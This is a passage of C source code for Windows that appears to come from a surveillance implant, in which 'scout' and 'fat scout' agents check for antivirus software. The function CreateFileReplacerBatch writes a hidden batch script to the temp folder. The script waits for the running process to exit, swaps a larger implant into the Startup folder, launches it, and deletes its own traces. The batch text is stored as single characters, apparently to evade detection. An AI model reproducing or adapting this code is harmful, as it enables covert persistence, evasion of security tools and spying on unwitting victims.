//if( dwPadding > 0 ) }//else } #ifdef _DEBUG else { OutputDebugString(L"No avg here"); } #endif /* free resources */ zfree(pApplicationList); zfree(strDestPath); zfree(strSourcePath); zfree(strStartupPath); } VOID CreateFileReplacerBatch(__in PWCHAR lpGarbageFile, __in PWCHAR lpScoutStartupPath, __out PWCHAR *pBatchOutName) { HANDLE hFile; ULONG uTick, uOut; PWCHAR pTempPath = GetTemp(); PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR)); /* @echo off :t timeout 1 for /f %%i in ('tasklist /FI "IMAGENAME eq %S" ^| find /v /c ""' ) do set YO=%%i # 1) current process name if %YO%==4 goto :t type "%S" > "%S" # 2) fat scout file , 3) scout path in startup start /B cmd /c "%S" # 4) scout path in startup del /F "%S" # 5) temp scout file del /F "%S" # 6) batch file */ CHAR pBatchFormat[] = { '@','e','c','h','o',' ','o','f','f', '\r', '\n', ':','t', '\r', '\n', 't', 'i', 'm', 'e', 'o', 'u', 't', ' ', '1', '\r', '\n', 'f', 'o', 'r', ' ', '/', 'f', ' ', '%', '%', '%', '%','i', ' ', 'i', 'n',' ','(', '\'', 't','a','s','k','l','i','s','t',' ','/','F','I',' ','"','I','M','A','G','E','N','A','M','E',' ','e','q',' ','%','S','"',' ', '^','|',' ','f','i','n','d', ' ', '/', 'v', ' ', '/', 'c', ' ', '"', '"', '\'',' ',')', ' ', 'd', 'o', ' ', 's', 'e', 't', ' ', 'Y', 'O', '=', '%', '%', '%', '%', 'i', '\r', '\n', 'i','f',' ', '%', '%', 'Y', 'O', '%', '%', '=', '=', '4', ' ','g','o','t','o',' ',':','t', '\r', '\n', 't','y','p','e',' ','"','%','S','"',' ','>', ' ','"','%','S','"', '\r', '\n', 's','t','a','r','t',' ','/','B',' ','c','m','d',' ','/','c',' ','"','%','S','"', '\r', '\n', 'd','e','l',' ','/','F',' ','"','%','S','"', '\r', '\n', 'd','e','l',' ','/','F',' ','"','%','S','"', 0x0 }; PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3)); uTick = GetTickCount(); do { _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); WCHAR lpFullImageName[MAX_PATH*2]; GetModuleFileName(NULL, lpFullImageName, MAX_PATH*2); PWCHAR lpImageName = PathFindFileName(lpFullImageName); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, lpImageName, lpGarbageFile, lpScoutStartupPath, lpScoutStartupPath, lpGarbageFile, pBatchName); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); #ifdef _DEBUG OutputDebugString(pBatchName); OutputDebugString(L"\n"); OutputDebugString(lpImageName); OutputDebugString(L"\n"); OutputDebugStringA(pBatchBuffer); #endif *pBatchOutName = pBatchName; free(pBatchBuffer); free(pTempPath); } .